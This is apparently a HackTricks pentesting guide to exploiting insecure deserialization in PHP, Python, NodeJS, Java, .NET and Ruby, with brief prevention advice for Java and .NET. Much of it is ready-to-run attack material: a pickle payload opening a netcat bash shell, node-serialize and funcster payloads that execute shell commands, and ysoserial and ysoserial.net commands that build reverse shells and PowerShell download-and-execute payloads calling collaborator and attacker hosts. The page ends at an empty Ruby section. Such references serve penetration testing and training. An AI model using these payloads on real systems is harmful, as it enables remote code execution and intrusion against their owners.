hacktricks/pentesting-web/deserialization

Deserialization

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Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.

Deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.

In many occasions you can find some code in the server side that unserialize some object given by the user.
In this case, you can send a malicious payload to make the server side behave unexpectedly.

You should read: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html for learn how to attack.

PHP

Magic method used with serialization:

• __sleep is called when an object is serialized and must be returned to array

Magic method used with deserialization

• __wakeup is called when an object is deserialized.
• __unserialize is called instead of __wakeup if it exists.
• __destruct is called when PHP script end and object is destroyed.
• __toString uses object as string but also can be used to read file or more than that based on function call inside it.

<?php
class test {
    public $s = "This is a test";
    public function displaystring(){
        echo $this->s.'<br />';
    }
    public function __toString()
    {
        echo '__toString method called';
    }
    public function __construct(){
        echo "__construct method called";
    }
    public function __destruct(){
        echo "__destruct method called";
    }
    public function __wakeup(){
        echo "__wakeup method called";
    }
    public function __sleep(){
        echo "__sleep method called";
        return array("s"); #The "s" makes references to the public attribute
    }
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that's not happening anymore.

{% hint style="warning" %} The method`` __unserialize(array $data) is called instead of __wakeup() if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.

phpCopy codeclass MyClass {
    private $property;

    public function __unserialize(array $data): void {
        $this->property = $data['property'];
        // Perform any necessary tasks upon deserialization.
    }
}

{% endhint %}

You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

You could abuse the PHP autoload functionality to load arbitrary php files and more:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serializing Referenced Values

If for some reason you want to serialize a value as a reference to another value serialized you can:

<?php
class AClass {
    public $param1;
    public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGCC can help you generating payloads to abuse PHP deserializations.
Note than in several cases you won't be able to find a way to abuse a deserialization in the source code of the application but you may be able to abuse the code of external PHP extensions.
So, if you can, check the phpinfo() of the server and search on the internet (an even on the gadgets of PHPGCC) some possible gadget you could abuse.

phar:// metadata deserialization

If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.
For more information read the following post:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

When the object gets unpickle, the function __reduce__ will be executed.
When exploited, server could return an error.

import pickle, os, base64
class P(object):
    def __reduce__(self):
        return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

For more information about escaping from pickle jails check:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Class Pollution (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS Magic Functions

JS doesn't have "magic" functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
If abusing a deserialization you can compromise these functions to execute other code (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.

Another "magic" way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called "then" of type function, it will be executed just because it's returned by another promise. Follow this link for more info.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
  const p = new Promise(resolve => {
    console.log('hello')
    resolve()
  })
  return p
}

async function test_then() {
  const p = new Promise(then => {
    console.log('hello')
    return 1
  })
  return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

If you want to learn about this technique take a look to the following tutorial:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

This library allows to serialise functions. Example:

var y = {
 "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

The serialised object will looks like:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

However, just serialising a function won't execute it as it would be necessary that some part of the code is calling y.rce in our example and that's highly unlikable.
Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized.
In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

As it was previously indicated, this library will get the code after_$$ND_FUNC$$_ and will execute it using eval. Therefore, in order to auto-execute code you can delete the function creation part and the last parenthesis and just execute a JS oneliner like in the following example:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

You can find here further information about how to exploit this vulnerability.

funcster

The interesting difference here is that the standard built-in objects are not accessible, because they are out of scope. It means that we can execute our code, but cannot call build-in objects’ methods. So if we use console.log() or require(something), Node returns an exception like "ReferenceError: console is not defined".

However, we can easily can get back access to everything because we still have access to the global context using something like this.constructor.constructor("console.log(1111)")();:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

For more information read this page.

serialize-javascript

The package doesn’t include any deserialization functionality and requires you to implement it yourself. Their example uses eval directly. This is the official deserialisation example:

function deserialize(serializedJavascript){
  return eval('(' + serializedJavascript + ')');
}

If this function is used to deserialize objects you can easily exploit it:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Cryo library

In the following pages you can find information about how to abuse this library to execute arbitrary commands:

• https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
• https://hackerone.com/reports/350418

Java - HTTP

The main problem with deserialized objects in Java is that deserialization callbacks were invoked during deserialization. This makes possible for an attacker to take advantage of that callbacks and prepare a payload that abuses the callbacks to perform malicious actions.

Fingerprints

White Box

Search inside the code for serialization classes and function. For example, search for classes implementing Serializable , the use of java.io.ObjectInputStream __ or readObject __ or readUnshare functions_._

You should also keep an eye on:

• XMLdecoder with external user defined parameters
• XStream with fromXML method (xstream version <= v1.46 is vulnerable to the serialization issue)
• ObjectInputStream with readObject
• Uses of readObject, readObjectNodData, readResolve or readExternal
• ObjectInputStream.readUnshared
• Serializable

Black Box

Fingerprints/Magic Bytes of java serialised objects (from ObjectInputStream):

• AC ED 00 05 in Hex
• rO0 in Base64
• Content-type header of an HTTP response set to application/x-java-serialized-object
• 1F 8B 08 00 Hex previously compressed
• H4sIA Base64 previously compressed
• Web files with extension .faces and faces.ViewState parameter. If you find this in a wabapp, take a look to the post about Java JSF VewState Deserialization.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Check if vulnerable

If you want to learn about how does a Java Deserialized exploit work you should take a look to Basic Java Deserialization, Java DNS Deserialization, and CommonsCollection1 Payload.

White Box Test

You can check if there is installed any application with known vulnerabilities.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won't create an exploit and it may indicate false positives.

Black Box Test

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ** ObjectInputStream ** deserializations**.**

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect **not only ObjectInputStream**related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.

Serialization Test

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.

Exploit

ysoserial

The most well-known tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the "URLDNS" payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload 
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

When creating a payload for java.lang.Runtime.exec() you cannot use special characters like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even pass arguments to a command separated by spaces (you can do echo -n "hello world" but you can't do python2 -c 'print "Hello world"'). In order to encode correctly the payload you could use this webpage.

Feel free to use the next script to create all the possible code execution payloads for Windows and Linux and then test them on the vulnerable web page:

import os
import base64
 
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        print 'Generating ' + payload + ' for ' + name + '...'
        command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
        if encoded != "":
            open(name + '_intruder.txt', 'a').write(encoded + '\n')
 
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

You can use https://github.com/pwntester/SerialKillerBypassGadgetCollection along with ysoserial to create more exploits. More information about this tool in the slides of the talk where the tool was presented: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec can be used to generate payloads to exploit different Json and Yml serialization libraries in Java.
In order to compile the project I needed to add this dependencies to pom.xml:

<dependency>
		<groupId>javax.activation</groupId>
		<artifactId>activation</artifactId>
		<version>1.1.1</version>
</dependency>
		
<dependency>
		<groupId>com.sun.jndi</groupId>
		<artifactId>rmiregistry</artifactId>
		<version>1.2.1</version>
		<type>pom</type>
</dependency>

Install maven, and compile the project:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Read more about this Java JSON library: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

• If you want to test some ysoserial payloads you can run this webapp: https://github.com/hvqzao/java-deserialize-webapp
• https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/

Why

Java LOVES sending serialized objects all over the place. For example:

• In HTTP requests – Parameters, ViewState, Cookies, you name it.
• RMI – The extensively used Java RMI protocol is 100% based on serialization
• RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects
• JMX – Again, relies on serialized objects being shot over the wire
• Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

Prevention

Transient objects

A class that implements Serializable can implement as transient any object inside the class that shouldn't be serializable. For example:

public class myAccount implements Serializable
{
    private transient double profit; // declared transient
    private transient double margin; // declared transient

Avoid Serialization of a class that need to implements Serializable

Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a readObject() method should be declared (with a final modifier) which always throws an exception:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
    throw new java.io.IOException("Cannot be deserialized");
}

Check deserialized class before deserializing it

The java.io.ObjectInputStream class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:

• You can change the code that does the deserialization
• You know what classes you expect to deserialize

The general idea is to override ObjectInputStream.html#resolveClass() in order to restrict which classes are allowed to be deserialized.

Because this call happens before a readObject() is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.

A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:

public class LookAheadObjectInputStream extends ObjectInputStream {

    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    /**
    * Only deserialize instances of our expected Bicycle class
    */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!desc.getName().equals(Bicycle.class.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

Harden All java.io.ObjectInputStream Usage with an Agent

If you don't own the code or can't wait for a patch, using an agent to weave in hardening to java.io.ObjectInputStream is the best solution.
Using this approach you can only Blacklist known malicious types and not whitelist them as you don't know which object are being serialized.

To enable these agents, simply add a new JVM parameter:

-javaagent:name-of-agent.jar

Example: rO0 by Contrast Security

References

• Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
• https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
• https://www.youtube.com/watch?v=VviY3O-euVQ
• Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
• Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
• https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
• https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
• https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
• Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
• Deserialziations CVEs: https://paper.seebug.org/123/

JNDI Injection & log4Shell

Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

There are several products using this middleware to send messages:

Exploitation

So, basically there are a bunch of services using JMS on a dangerous way. Therefore, if you have enough privileges to send messages to this services (usually you will need valid credentials) you could be able to send malicious objects serialized that will be deserialized by the consumer/subscriber.
This means that in this exploitation all the clients that are going to use that message will get infected.

You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability.

The tool JMET was created to connect and attack this services sending several malicious objects serialized using known gadgets. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.

References

• JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
• Slides: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

.Net

.Net is similar to Java regarding how deserialization exploits work: The exploit will abuse gadgets that execute some interesting code when an object is deserialized.

Fingerprint

WhiteBox

Search the source code for the following terms:

1. TypeNameHandling
2. JavaScriptTypeResolver

Look for any serializers where the type is set by a user controlled variable.

BlackBox

You can search for the Base64 encoded string AAEAAAD///// or any other thing that may be deserialized in the back-end and that allows you to control the deserialized type**.** For example, a JSON or XML containing TypeObject or $type.

ysoserial.net

In this case you can use the tool ysoserial.net in order to create the deserialization exploits. Once downloaded the git repository you should compile the tool using Visual Studio for example.

If you want to learn about how does ysoserial.net creates it's exploit you can check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

The main options of ysoserial.net are: --gadget, --formatter, **--output ** and --plugin.

• --gadget used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).
• --formatter, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)
• **--output ** used to indicate if you want the exploit in raw or base64 encoded. Note that ysoserial.net will encode the payload using UTF-16LE (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some encoding compatibility problems that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work).
• **--plugin ** ysoserial.net supports plugins to craft exploits for specific frameworks like ViewState

More ysoserial.net parameters

• --minify will provide a smaller payload (if possible)
• --raf -f Json.Net -c "anything" This will indicate all the gadgets that can be used with a provided formatter (Json.Net in this case)
• --sf xml you can indicate a gadget (-g)and ysoserial.net will search for formatters containing "xml" (case insensitive)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net has also a very interesting parameter that helps to understand better how every exploit works: --test
If you indicates this parameter ysoserial.net will try the exploit locally, so you can test if your payload will work correctly.
This parameter is helpful because if you review the code you will find chucks of code like the following one (from ObjectDataProviderGenerator.cs):

            if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.JsonNet_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }

This means that in order to test the exploit the code will call serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
    {
        Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
        {
            TypeNameHandling = TypeNameHandling.Auto
        });
        return obj;
    }

In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Therefore the --test parameter allows us to understand which chunks of code are vulnerable to the desrialization exploit that ysoserial.net can create.

ViewState

Take a look to this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. If you already know the secrets used by the victim machine, read this post to know to execute code.

Prevention

Don't allow the datastream to define the type of object that the stream will be deserialized to. You can prevent this by for example using the DataContractSerializer or XmlSerializer if at all possible.

Where JSON.Net is being used make sure the TypeNameHandling is only set to None.

TypeNameHandling = TypeNameHandling.None

If JavaScriptSerializer is to be used then do not use it with a JavaScriptTypeResolver.

If you must deserialise data streams that define their own type, then restrict the types that are allowed to be deserialized. One should be aware that this is still risky as many native .Net types potentially dangerous in themselves. e.g.

System.IO.FileInfo

FileInfo objects that reference files actually on the server can when deserialized, change the properties of those files e.g. to read-only, creating a potential denial of service attack.

Even if you have limited the types that can be deserialised remember that some types have properties that are risky. System.ComponentModel.DataAnnotations.ValidationException, for example has a property Value of type Object. if this type is the type allowed for deserialization then an attacker can set the Value property to any object type they choose.

Attackers should be prevented from steering the type that will be instantiated. If this is possible then even DataContractSerializer or XmlSerializer can be subverted e.g.

// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();  

var serializer = new DataContractJsonSerializer(Type.GetType(typename));

var obj = serializer.ReadObject(ms);

Execution can occur within certain .Net types during deserialization. Creating a control such as the one shown below is ineffective.

var suspectObject = myBinaryFormatter.Deserialize(untrustedData);

//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
    //generate warnings and dispose of suspectObject
}

For BinaryFormatter and JSON.Net it is possible to create a safer form of white list control using a custom SerializationBinder.

Try to keep up-to-date on known .Net insecure deserialization gadgets and pay special attention where such types can be created by your deserialization processes. A deserializer can only instantiate types that it knows about.

Try to keep any code that might create potential gadgets separate from any code that has internet connectivity. As an example System.Windows.Data.ObjectDataProvider used in WPF applications is a known gadget that allows arbitrary method invocation. It would be risky to have this a reference to this assembly in a REST service project that deserializes untrusted data.

References

• Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
• https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
• https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
• https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization

Ruby

Ruby has two methods to implement serialization inside the marshal library: first method is dump that converts object into bytes streams (serialize). And the second method is load to convert bytes stream to object again (deserialize).
Ruby uses HMAC to sign the serialized object and saves the key on one of the following files:

• config/environment.rb
• config/initializers/secret_token.rb
• config/secrets.yml
• /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

